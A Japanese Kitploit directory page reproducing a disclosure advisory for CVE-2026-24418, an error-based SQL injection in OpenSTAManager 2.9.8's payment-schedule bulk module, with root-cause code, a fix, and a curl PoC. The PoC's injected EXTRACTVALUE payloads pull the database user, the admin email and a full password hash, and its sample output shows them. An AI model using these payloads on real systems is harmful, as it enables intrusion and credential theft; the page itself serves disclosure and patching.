Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24418 — CVE-2026-24418 - OpenSTAManager の Scadenzario 一括操作モジュールには、SQL インジェクションの脆弱性があります。 | Kitploit
ツール/GitHubGitHub/lukasz-rybak/cve-2026-24418
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager の Scadenzario 一括操作モジュールには、SQL インジェクションの脆弱性があります。

リポジトリを見る
145ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-24418: OpenSTAManager の Scadenzario 一括操作モジュールにおける SQL インジェクションの脆弱性

概要

項目詳細
CVE IDCVE-2026-24418
深刻度高
アドバイザリアドバイザリを表示
発見者Lukasz Rybak

影響を受ける製品

  • devcode-it/openstamanager(バージョン: <= 2.9.8)

CWE 分類

  • CWE-89: SQL コマンドで使用される特殊要素の不適切な無害化('SQL インジェクション')

詳細

要約

OpenSTAManager v2.9.8 の Scadenzario(支払予定表)一括操作モジュールにおける重大なエラーベース SQL インジェクションの脆弱性により、認証済みの攻撃者が XML エラーメッセージを通じて、ユーザー認証情報、顧客の個人情報(PII)、財務記録を含むデータベース全体の内容を抽出できる可能性があります。

状態: ✅ 実環境インスタンス(v2.9.8)で確認・テスト済み 脆弱なパラメータ: id_records[](POST 配列) 影響を受けるエンドポイント: /actions.php?id_module=18(Scadenzario モジュール) 攻撃タイプ: エラーベース SQL インジェクション(IN 句)

詳細

OpenSTAManager v2.9.8 には、Scadenzario(支払予定表)モジュールの一括操作ハンドラに重大なエラーベース SQL インジェクションの脆弱性が存在します。このアプリケーションは、SQL の IN() 句で id_records 配列の要素を使用する前に整数であることを検証しないため、攻撃者が任意の SQL コマンドを注入し、XPATH エラーメッセージを通じて機密データを抽出することが可能になります。

脆弱性の連鎖:

  1. エントリポイント: /actions.php(503〜506 行目)

    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    array_clean() 関数は空の値を削除するだけで、型の検証は行いません。

  2. 脆弱な関数: /lib/util.php(54〜60 行目)

    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    影響: この関数は空の値を除外しますが、SQL インジェクションのペイロードを含む空でない値であればすべて受け入れてしまいます。

  3. SQL インジェクション箇所: /modules/scadenzario/bulk.php(88 行目)主要な脆弱性

    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    影響: $id_records の配列要素は、型検証や prepare() なしで implode() により直接連結されるため、完全な SQL インジェクションが可能になります。

根本原因の分析:

この脆弱性は以下の理由で存在します:

  1. post('id_records') がユーザー制御の配列を返す
  2. array_clean() は空の値のみを削除し、非整数値は削除しない
  3. implode(',', $id_records) が配列要素を SQL に直接連結する
  4. 配列要素が整数であることを保証する検証がない
  5. 攻撃者は id_records[]=1&id_records[]=(MALICIOUS SQL)# を提供することで SQL を注入できる

影響を受けるコードパス:

POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

ステップ 1: ログイン

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

ステップ 2: 脆弱性の検証(エラーベース SQL インジェクション)

テスト 1: データベースユーザーとバージョンの抽出

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

応答(攻撃者に表示されるエラーメッセージ):

<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

テスト 2: 管理者認証情報の抽出

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

応答:

<code>XPATH syntax error: '~admin:[email protected]'</code>

テスト 3: パスワードハッシュの抽出(パート 1 - 最初の 31 文字)

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

応答:

<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

テスト 4: パスワードハッシュの抽出(パート 2 - 32〜60 文字目)

curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

応答:

<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

結合されたパスワードハッシュ:

$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

影響

**Scadenzario(支払予定表)モジュールの一括操作にアクセスできるすべての認証済みユーザー。

推奨される修正:

主な修正 - 型検証:

ファイル: /modules/scadenzario/bulk.php

修正前(脆弱 - 88 行目):

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

修正後(修正済み):

// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

クレジット

Łukasz Rybak によって発見されました

参照

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

免責事項

本 CVE は、協調的な脆弱性情報開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを意図しています。

ツールをダウンロード